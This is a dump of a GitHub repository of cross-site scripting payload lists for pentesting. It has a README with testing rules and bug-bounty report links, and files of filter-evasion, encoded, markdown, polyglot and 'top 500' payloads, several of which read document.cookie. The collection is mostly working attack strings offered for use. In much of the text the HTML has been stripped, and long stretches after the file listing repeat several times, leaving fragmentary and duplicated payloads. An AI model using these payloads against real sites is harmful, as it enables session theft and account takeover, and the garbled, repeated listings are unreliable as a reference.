├── .github └── FUNDING.yml ├── README.md ├── swagger ├── sciprt.js └── test.yaml ├── xss-all-list.txt ├── xss-by-keyword-filtering.txt ├── xss-encoding-payload.txt ├── xss-for-hidden-input.txt ├── xss-for-input.txt ├── xss-for-markdowns.txt ├── xss-for-onfocus.txt ├── xss-for-title.txt ├── xss-for-username-field.txt ├── xss-for-vuejs.txt ├── xss-href.txt ├── xss-payload-for-input-search.txt ├── xss-polyglot.txt ├── xss-top500-list.txt ├── xss-without-alert-confirm-prompt └── xss-without-alert.txt /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | patreon: proviesec 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # xss-payload-list 2 | [](https://opensource.org/licenses/MIT) 3 | [](https://github.com/Proviesec/xss-payload-list/issues) 4 | 5 | 6 | 7 | 8 | [](https://twitter.com/proviesec) 9 | 10 | 11 | # Introduction 12 | 13 | :star: Star us on GitHub — it motivates a lot! :star: 14 | 15 | If you have any XSS payload, just create a PullRequest. 16 | 17 | # Write-Ups / Tutorials 18 | https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 19 | https://medium.com/p/92ac1180e0d0 20 | https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting 21 | 22 | # My love polyglot 23 | ``` 24 | jaVasCript:/*--> 25 | "'alert(1) 26 | ``` 27 | 28 | 29 | # Todos 30 | 31 | - [ ] XSS payloads for url fields 32 | - [x] XSS payloads for onfocus 33 | - [x] XSS payloads for title 34 | - [x] XSS payloads without alert 35 | - [ ] XSS payloads for base64 36 | - [ ] XSS payloads without script tag 37 | - [ ] XSS payloads for javascript fields 38 | - [ ] XSS payloads for number fields 39 | - [ ] XSS payloads for a href 40 | - [x] XSS payloads for markdown 41 | - [ ] XSS for anker 42 | - [ ] XSS for open-redirect 43 | - [ ] cloudflare bypass 44 | 45 | 46 | # File Descriptions 47 | 48 | - XSS-polyglot.txt 49 | A JavaScript Polyglot is a Cross Site Scripting (XSS) vector that is executable within various injection contexts in its raw form, or a piece of code that can be executed in multiple contexts in the application. 50 | 51 | # Rules 52 | 53 | Rules To Find XSS 54 | 55 | 1: injecting haramless HTML 56 | , 57 | 58 | 2: injecting HTML Entities 59 | 60 | <b> 61 | \u003b\u00 62 | 63 | 3 :injecting Script Tag 64 | 65 | 4: Testing For Recursive Filters 66 | 67 | 5: injecting Anchor Tag 68 | 69 | 6: Testing For Event Handlers 70 | 71 | 7: Input Less Common Event Handlers 72 | 73 | 8: Testing With SRC Attrubute 74 | 75 | 9: Testing With Action Attrubute 76 | 77 | 10: Injecting HTML 5 Based Payload 78 | 79 | 80 | 81 | ## Reports 82 | 83 | - https://hackerone.com/reports/1342009 84 | - https://hackerone.com/reports/1416672 85 | - https://hackerone.com/reports/1527284 86 | - https://hackerone.com/reports/1683129 87 | - https://hackerone.com/reports/834071 88 | 89 | # Disclaimer: DONT BE A JERK! 90 | Needless to mention, please use this tool very very carefully. The authors won't be responsible for any consequences. 91 | 92 | -------------------------------------------------------------------------------- /swagger/sciprt.js: -------------------------------------------------------------------------------- 1 | alert(document.cookie); 2 | -------------------------------------------------------------------------------- /xss-by-keyword-filtering.txt: -------------------------------------------------------------------------------- 1 | (alert)(1) 2 | globalThis[`al`+/ert/.source]`1` 3 | [alert][0].call(this,1) 4 | window['a'+'l'+'e'+'r'+'t']() 5 | window['a'+'l'+'e'+'r'+'t'].call(this,1) 6 | top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) 7 | x=alert,x(1) 8 | [1].find(alert) 9 | top[8680439..toString(30)](1) 10 | top['al\x65rt'](1) 11 | top['al\145rt'](1) 12 | al\u0065rt(1) 13 | al\u0065rt`1` 14 | top[/al/.source+/ert/.source](1) 15 | top["al"+"ert"](1) 16 | -------------------------------------------------------------------------------- /xss-encoding-payload.txt: -------------------------------------------------------------------------------- 1 | \u{0000000061}lert(1) 2 | \u{61}lert(1) 3 | \u0061lert(1) 4 | alert(1) 5 | alert(1) 6 | x="",alert(1)//"; 7 | eval('\x61lert(1)') 8 | \u0061\u006c\u0065\u0072\u0074(1) 9 | javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E' 10 | %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E 11 | %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E 12 | javascript:x='%27-alert(1)-%27'; 13 | %3Cscript%3Ealert(1)%3C/script%3E##1 14 | -------------------------------------------------------------------------------- /xss-for-hidden-input.txt: -------------------------------------------------------------------------------- 1 | y" popover id=x onbeforetoggle=alert(1)> 2 | 3 | -------------------------------------------------------------------------------- /xss-for-input.txt: -------------------------------------------------------------------------------- 1 | "/> 2 | "/> 3 | "/> 4 | "/> 5 | "/> 6 | "/> 7 | "/> 8 | "/> 9 | "/> 10 | -------------------------------------------------------------------------------- /xss-for-markdowns.txt: -------------------------------------------------------------------------------- 1 | [a](javascript:prompt(document.cookie)) 2 | [a](j a v a s c r i p t:prompt(document.cookie)) 3 | )\ 4 | 5 | <javascript:alert('XSS')> 6 | \ 7 | [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) 8 | [a](javascript:alert('XSS')) 9 | \ 10 | [citelol]: (javascript:prompt(document.cookie)) 11 | [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) 12 | [test](javascript://%0d%0aprompt(1)) 13 | [test](javascript://%0d%0aprompt(1);com) 14 | [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) 15 | [notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie) 16 | [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) 17 | [clickme](vbscript:alert(document.domain)) 18 | _http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);// 19 | > 20 | [text](http://danlec.com " [@danlec](/danlec) ") 21 | [a](javascript:this;alert(1)) 22 | [a](javascript:this;alert(1)) 23 | [a](javascript:this;alert(1)) 24 | [a](Javascript:alert(1)) 25 | [a](Javas%26%2399;ript:alert(1)) 26 | [a](javascript:alert(1)) 27 | [a](javascript:confirm(1) 28 | [a](javascript://www.google.com%0Aprompt(1)) 29 | [a](javascript://%0d%0aconfirm(1);com) 30 | [a](javascript:window.onerror=confirm;throw%201) 31 | [a](javascript:alert(document.domain)) 32 | [a](javascript://www.google.com%0Aalert(1)) 33 | [a]('javascript:alert("1")') 34 | [a](JaVaScRiPt:alert(1)) 35 | ) 36 | ) 37 | <\h1\>confirm(2) 38 | [XSS](.alert(1);) 39 | [ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]]) 40 | [ ](http://a?p=[[/onclick=alert(0) .]]) 41 | -------------------------------------------------------------------------------- /xss-for-onfocus.txt: -------------------------------------------------------------------------------- 1 | alert(1)// 2 | %22write('')%22 3 | alert;throw 1 4 | javascript:javascript:alert(1) 5 | alert(document.domain) 6 | -------------------------------------------------------------------------------- /xss-for-title.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | "> 6 | 7 | 9 | alert(1) alert('XSS') 18 | 19 | 20 | < 21 | < 22 | 23 | 24 | \x3csVg/\x3e''' 2 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 3 | "'--> 4 | '"--> 5 | "'>-->*/ 6 | "'--> 7 | jaVasCript:/*--> 8 | jaVas%0Cript:/*--> 9 | javascript:"/*'/*`/*--> 10 | javascript:"/*'/*`/*\" /* 11 | javascript:"/*\"/*`/*' /*--> 12 | javascript:`//"//\"//` 13 | javascript:`/*\"/*-->` 14 | javascript:"/*'//`//\"// 15 | javascript:"/*`/*\"/*'/* 16 | javascript:`\"///"//</` 17 | javascript:`\"///"//</` 18 | javascript:/*`//'//\"//--> 19 | javascript:/*"//'//`//\"//--> 20 | javascript:/*-->'//"//`//\"// 21 | javascript:/*"/*'/*`/*\"/*--> 22 | javascript:/*"/*'/*\"/*`/*--> 23 | javascript:/*"/*`/*'/*\"/*--> 24 | javascript:"/*'//`//\"//-->< 25 | javascript:alert()"//\"//'//`//--> 26 | javascript:/*"/*`/*'/*\"/*< 27 | javascript:"/*`/*\"/*' /*< 28 | javascript:/*-->\"[`["[']< 29 | javascript:"/*\"/*'/*`/*-->< 30 | javascript:/*"/*`/*'/*\"/*-->< 31 | javascript:"/*\"/*'/*-->< 32 | javascript:"/*'/*\"/*` /**/alert()//--> 33 | javascript:/*"/*`/*'/*\"/*-->*/ alert()//< 34 | javascript:`/*javascript:/*`/*\"/*'/*"/*< 35 | javascript:alert()//"/*`/*'/*\"/*-->*/ alert()//< 36 | javascript:alert()//'//"//\"//-->`//*/ alert();//< 37 | javascript:/*"/*\"/*`/*'/**/ (alert())//< 38 | javascript:/*"/*'/*\"/*`/*><\ /**/alert()// 39 | javascript:/*`/*'/*'/*"-/*\"/**/ alert()//>-->< 40 | javascript:'/*`/*'/*"/*\"/* 41 | javascript:alert()//-->*///\"//`//'//"//> alert()// 42 | javascript:alert()//'//"//\"; '/`/*\/*'/*"/**/(alert())//--> 43 | javascript:/*"/*'/*`/*\"/**/ alert()//*-->< 44 | javascript:alert()//\"//`//'//"//-->">*/ alert()// 45 | javascript:alert()//*-->*`/*'/*"/*\"/* 46 | jaVasCript:/*`/*\`/*'/*\"//"/**/(onload=alert())// 47 | javascript:alert()//'//"//`//>--><\">alert()//*/ alert()// 48 | javascript:alert()//\ /*-->*/alert()//\";alert()// 49 | javascript:alert/*`/*\/*'/*\"/*"/**/(alert())// alert()//--> 50 | javascript:alert();//\" alert();/*`/**/(/**/alert())//<> 51 | javascript:alert()//*/alert()/*'-/"/-eval(`(alert())`)//\"-alert()//--> alert()// 52 | javascript:alert()//\";alert();/*-/*`/*\`/*'/*"/**///--> alert(1)// 53 | javascript:alert()//`;alert()`';alert()//\";alert();//"//-->*/ alert()//* 54 | javascript:alert()//-->\";alert()//";alert()//';alert()//` alert()//*/alert()/* 55 | javascript:alert();//\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//-->">">+\"; alert()// 57 | javascript:alert(1)//\";alert(1); alert(1)// 58 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e 59 | javascript://'/-->*/alert()/* 60 | javascript://-->"/*/a 61 | javascript://"/*// 62 | javascript://-->*/alert()/* 63 | javascript://'//" -->*/alert()/* 64 | javascript://*/alert()/* 66 | javascript:"/*'/*`/*--> 67 | -->"/*/alert()/* 68 | /*/alert()/* 69 | javascript://-->*/alert()/* 71 | "!'/*/alert()/* 72 | " onclick=alert(1)// */ alert(1)// 73 | "'`><\x00img src=xxx:x onerror=javascript:alert(1)> 74 | "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> 75 | "'`> 76 | "'`>ABCDEF 77 | "'`>ABCDEF 78 | "/> 79 | "/> 80 | "/> 81 | "/> 82 | "/> 83 | "/> 84 | "/> 85 | "/> 86 | "/> 87 | ">”>’> 88 | "> 89 | "> 90 | ">>" >|\>@gmail.com'-->" >">'"> 91 | "`'> 92 | "`'> 93 | "`'> 94 | "`'> 95 | "`'> 96 | "`'> 97 | "`'> 98 | "`'> 99 | "`'> 100 | "`'> 101 | "`'> 102 | "`'> 103 | "`'> 104 | "`'> 105 | "`'> 106 | "`'> 107 | "`'> 108 | "`'> 109 | "`'> 110 | "`'> 111 | "`'> 112 | "`'> 113 | "`'> 114 | "`'> 115 | "`'> 116 | "`'> 117 | "`'> 118 | "`'> 119 | "`'> 120 | "`'> 121 | "`'> 122 | "`'> 123 | "`'> 124 | "`'> 125 | "`'> 126 | "`'> 127 | "`'> 128 | %0ajavascript:`/*\"/*--><svg onload='/*` 129 | '">>">|\>@gmail.com'-->">">'"> 130 | '"`> 131 | ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> 132 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 133 | '`"><\x00script>javascript:alert(1) 134 | '`"><\x3Cscript>javascript:alert(1) 135 | +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- 136 | -->'"/> 137 | -->'"/> 138 | --> --> 139 | --> 140 | --> 141 | --> 142 | -->"/*/alert()/* 143 | /*/alert()/* 144 | /*/alert()/* 145 | 1 146 | 1 147 | 1 148 | "> 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /xss-top500-list.txt: -------------------------------------------------------------------------------- 1 | 2 | perl -e 'print "";' > out 3 | 4 | 5 | 6 | 7 | < 8 | 14 | 15 | 16 | 17 | 18 | XSS 19 | 20 | 21 | 22 | 23 | z 24 | [confirm``]"<">z 25 | z 26 | 27 | "/ondblclick=`<`[confir\u006d``]>z 29 | click 30 | click 31 | 36 | (_=prompt,_(1)) ""> 37 | 40 | 41 | x 43 | 44 | ";a=prompt,a()// 45 | ">.gif 47 | "> 48 | "> 49 | "> 5 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 6 | exp/*XXX 8 | 9 | 10 | -------------------------------------------------------------------------------- /xss-without-alert.txt: -------------------------------------------------------------------------------- 1 | 4 | (((confirm)))`` 6 | "/OndbLcLick=`<`[confir\u006d``]>z 7 | 8 | click 10 | 11 | 18 | z 19 | [confirm``]"<">z 20 | click here 21 | 22 | 23 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 24 | ";a=prompt,a()// 25 | "> 26 | /*iframe/src*/ 27 | exp/*XXX 29 | 30 | XYZ 32 | javascript:confirm(1) 33 | javascript\x0A:javascript:confirm(1) 34 | \x1Cjavascript:javascript:confirm(1) 35 | \xE2\x81\x9Fjavascript:javascript:confirm(1) 36 | \xE2\x80\x85javascript:javascript:confirm(1) 37 | --------------------------------------------------------------------------------
*/alert()/* 60 | javascript://-->"/*/a 61 | javascript://"/*// 62 | javascript://-->*/alert()/* 63 | javascript://'//" -->*/alert()/* 64 | javascript://*/alert()/* 66 | javascript:"/*'/*`/*--> 67 | -->"/*/alert()/* 68 | /*/alert()/* 69 | javascript://-->*/alert()/* 71 | "!'/*/alert()/* 72 | " onclick=alert(1)// */ alert(1)// 73 | "'`><\x00img src=xxx:x onerror=javascript:alert(1)> 74 | "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> 75 | "'`> 76 | "'`>ABCDEF 77 | "'`>ABCDEF 78 | "/> 79 | "/> 80 | "/> 81 | "/> 82 | "/> 83 | "/> 84 | "/> 85 | "/> 86 | "/> 87 | ">”>’> 88 | "> 89 | "> 90 | ">>" >|\>@gmail.com'-->" >">'"> 91 | "`'> 92 | "`'> 93 | "`'> 94 | "`'> 95 | "`'> 96 | "`'> 97 | "`'> 98 | "`'> 99 | "`'> 100 | "`'> 101 | "`'> 102 | "`'> 103 | "`'> 104 | "`'> 105 | "`'> 106 | "`'> 107 | "`'> 108 | "`'> 109 | "`'> 110 | "`'> 111 | "`'> 112 | "`'> 113 | "`'> 114 | "`'> 115 | "`'> 116 | "`'> 117 | "`'> 118 | "`'> 119 | "`'> 120 | "`'> 121 | "`'> 122 | "`'> 123 | "`'> 124 | "`'> 125 | "`'> 126 | "`'> 127 | "`'> 128 | %0ajavascript:`/*\"/*--><svg onload='/*` 129 | '">>">|\>@gmail.com'-->">">'"> 130 | '"`> 131 | ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> 132 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 133 | '`"><\x00script>javascript:alert(1) 134 | '`"><\x3Cscript>javascript:alert(1) 135 | +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- 136 | -->'"/> 137 | -->'"/> 138 | --> --> 139 | --> 140 | --> 141 | --> 142 | -->"/*/alert()/* 143 | /*/alert()/* 144 | /*/alert()/* 145 | 1 146 | 1 147 | 1 148 | "> 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /xss-top500-list.txt: -------------------------------------------------------------------------------- 1 | 2 | perl -e 'print "";' > out 3 | 4 | 5 | 6 | 7 | < 8 | 14 | 15 | 16 | 17 | 18 | XSS 19 | 20 | 21 | 22 | 23 | z 24 | [confirm``]"<">z 25 | z 26 | 27 | "/ondblclick=`<`[confir\u006d``]>z 29 | click 30 | click 31 | 36 | (_=prompt,_(1)) ""> 37 | 40 | 41 | x 43 | 44 | ";a=prompt,a()// 45 | ">.gif 47 | "> 48 | "> 49 | "> 5 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 6 | exp/*XXX 8 | 9 | 10 | -------------------------------------------------------------------------------- /xss-without-alert.txt: -------------------------------------------------------------------------------- 1 | 4 | (((confirm)))`` 6 | "/OndbLcLick=`<`[confir\u006d``]>z 7 | 8 | click 10 | 11 | 18 | z 19 | [confirm``]"<">z 20 | click here 21 | 22 | 23 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 24 | ";a=prompt,a()// 25 | "> 26 | /*iframe/src*/ 27 | exp/*XXX 29 | 30 | XYZ 32 | javascript:confirm(1) 33 | javascript\x0A:javascript:confirm(1) 34 | \x1Cjavascript:javascript:confirm(1) 35 | \xE2\x81\x9Fjavascript:javascript:confirm(1) 36 | \xE2\x80\x85javascript:javascript:confirm(1) 37 | --------------------------------------------------------------------------------
*/alert()/* 69 | javascript://-->*/alert()/* 71 | "!'/*/alert()/* 72 | " onclick=alert(1)// */ alert(1)// 73 | "'`><\x00img src=xxx:x onerror=javascript:alert(1)> 74 | "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> 75 | "'`> 76 | "'`>ABCDEF 77 | "'`>ABCDEF 78 | "/> 79 | "/> 80 | "/> 81 | "/> 82 | "/> 83 | "/> 84 | "/> 85 | "/> 86 | "/> 87 | ">”>’> 88 | "> 89 | "> 90 | ">>" >|\>@gmail.com'-->" >">'"> 91 | "`'> 92 | "`'> 93 | "`'> 94 | "`'> 95 | "`'> 96 | "`'> 97 | "`'> 98 | "`'> 99 | "`'> 100 | "`'> 101 | "`'> 102 | "`'> 103 | "`'> 104 | "`'> 105 | "`'> 106 | "`'> 107 | "`'> 108 | "`'> 109 | "`'> 110 | "`'> 111 | "`'> 112 | "`'> 113 | "`'> 114 | "`'> 115 | "`'> 116 | "`'> 117 | "`'> 118 | "`'> 119 | "`'> 120 | "`'> 121 | "`'> 122 | "`'> 123 | "`'> 124 | "`'> 125 | "`'> 126 | "`'> 127 | "`'> 128 | %0ajavascript:`/*\"/*--><svg onload='/*` 129 | '">>">|\>@gmail.com'-->">">'"> 130 | '"`> 131 | ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> 132 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 133 | '`"><\x00script>javascript:alert(1) 134 | '`"><\x3Cscript>javascript:alert(1) 135 | +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- 136 | -->'"/> 137 | -->'"/> 138 | --> --> 139 | --> 140 | --> 141 | --> 142 | -->"/*/alert()/* 143 | /*/alert()/* 144 | /*/alert()/* 145 | 1 146 | 1 147 | 1 148 | "> 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /xss-top500-list.txt: -------------------------------------------------------------------------------- 1 | 2 | perl -e 'print "";' > out 3 | 4 | 5 | 6 | 7 | < 8 | 14 | 15 | 16 | 17 | 18 | XSS 19 | 20 | 21 | 22 | 23 | z 24 | [confirm``]"<">z 25 | z 26 | 27 | "/ondblclick=`<`[confir\u006d``]>z 29 | click 30 | click 31 | 36 | (_=prompt,_(1)) ""> 37 | 40 | 41 | x 43 | 44 | ";a=prompt,a()// 45 | ">.gif 47 | "> 48 | "> 49 | "> 5 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 6 | exp/*XXX 8 | 9 | 10 | -------------------------------------------------------------------------------- /xss-without-alert.txt: -------------------------------------------------------------------------------- 1 | 4 | (((confirm)))`` 6 | "/OndbLcLick=`<`[confir\u006d``]>z 7 | 8 | click 10 | 11 | 18 | z 19 | [confirm``]"<">z 20 | click here 21 | 22 | 23 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 24 | ";a=prompt,a()// 25 | "> 26 | /*iframe/src*/ 27 | exp/*XXX 29 | 30 | XYZ 32 | javascript:confirm(1) 33 | javascript\x0A:javascript:confirm(1) 34 | \x1Cjavascript:javascript:confirm(1) 35 | \xE2\x81\x9Fjavascript:javascript:confirm(1) 36 | \xE2\x80\x85javascript:javascript:confirm(1) 37 | --------------------------------------------------------------------------------
*/alert()/* 71 | "!'/
*/alert()/* 72 | " onclick=alert(1)// */ alert(1)// 73 | "'`><\x00img src=xxx:x onerror=javascript:alert(1)> 74 | "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> 75 | "'`> 76 | "'`>ABCDEF 77 | "'`>ABCDEF 78 | "/> 79 | "/> 80 | "/> 81 | "/> 82 | "/> 83 | "/> 84 | "/> 85 | "/> 86 | "/> 87 | ">”>’> 88 | "> 89 | "> 90 | ">>" >|\>@gmail.com'-->" >">'"> 91 | "`'> 92 | "`'> 93 | "`'> 94 | "`'> 95 | "`'> 96 | "`'> 97 | "`'> 98 | "`'> 99 | "`'> 100 | "`'> 101 | "`'> 102 | "`'> 103 | "`'> 104 | "`'> 105 | "`'> 106 | "`'> 107 | "`'> 108 | "`'> 109 | "`'> 110 | "`'> 111 | "`'> 112 | "`'> 113 | "`'> 114 | "`'> 115 | "`'> 116 | "`'> 117 | "`'> 118 | "`'> 119 | "`'> 120 | "`'> 121 | "`'> 122 | "`'> 123 | "`'> 124 | "`'> 125 | "`'> 126 | "`'> 127 | "`'> 128 | %0ajavascript:`/*\"/*--><svg onload='/*` 129 | '">>">|\>@gmail.com'-->">">'"> 130 | '"`> 131 | ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> 132 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 133 | '`"><\x00script>javascript:alert(1) 134 | '`"><\x3Cscript>javascript:alert(1) 135 | +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- 136 | -->'"/> 137 | -->'"/> 138 | --> --> 139 | --> 140 | --> 141 | --> 142 | -->"/*/alert()/* 143 | /*/alert()/* 144 | /*/alert()/* 145 | 1 146 | 1 147 | 1 148 | "> 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /xss-top500-list.txt: -------------------------------------------------------------------------------- 1 | 2 | perl -e 'print "";' > out 3 | 4 | 5 | 6 | 7 | < 8 | 14 | 15 | 16 | 17 | 18 | XSS 19 | 20 | 21 | 22 | 23 | z 24 | [confirm``]"<">z 25 | z 26 | 27 | "/ondblclick=`<`[confir\u006d``]>z 29 | click 30 | click 31 | 36 | (_=prompt,_(1)) ""> 37 | 40 | 41 | x 43 | 44 | ";a=prompt,a()// 45 | ">.gif 47 | "> 48 | "> 49 | "> 5 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 6 | exp/*XXX 8 | 9 | 10 | -------------------------------------------------------------------------------- /xss-without-alert.txt: -------------------------------------------------------------------------------- 1 | 4 | (((confirm)))`` 6 | "/OndbLcLick=`<`[confir\u006d``]>z 7 | 8 | click 10 | 11 | 18 | z 19 | [confirm``]"<">z 20 | click here 21 | 22 | 23 | '''"'-function(){{{callback}}}()-">\"><"-'-function(){{{callback}}}()"''' 24 | ";a=prompt,a()// 25 | "> 26 | /*iframe/src*/ 27 | exp/*XXX 29 | 30 | XYZ 32 | javascript:confirm(1) 33 | javascript\x0A:javascript:confirm(1) 34 | \x1Cjavascript:javascript:confirm(1) 35 | \xE2\x81\x9Fjavascript:javascript:confirm(1) 36 | \xE2\x80\x85javascript:javascript:confirm(1) 37 | --------------------------------------------------------------------------------
*/alert()/* 144 | /
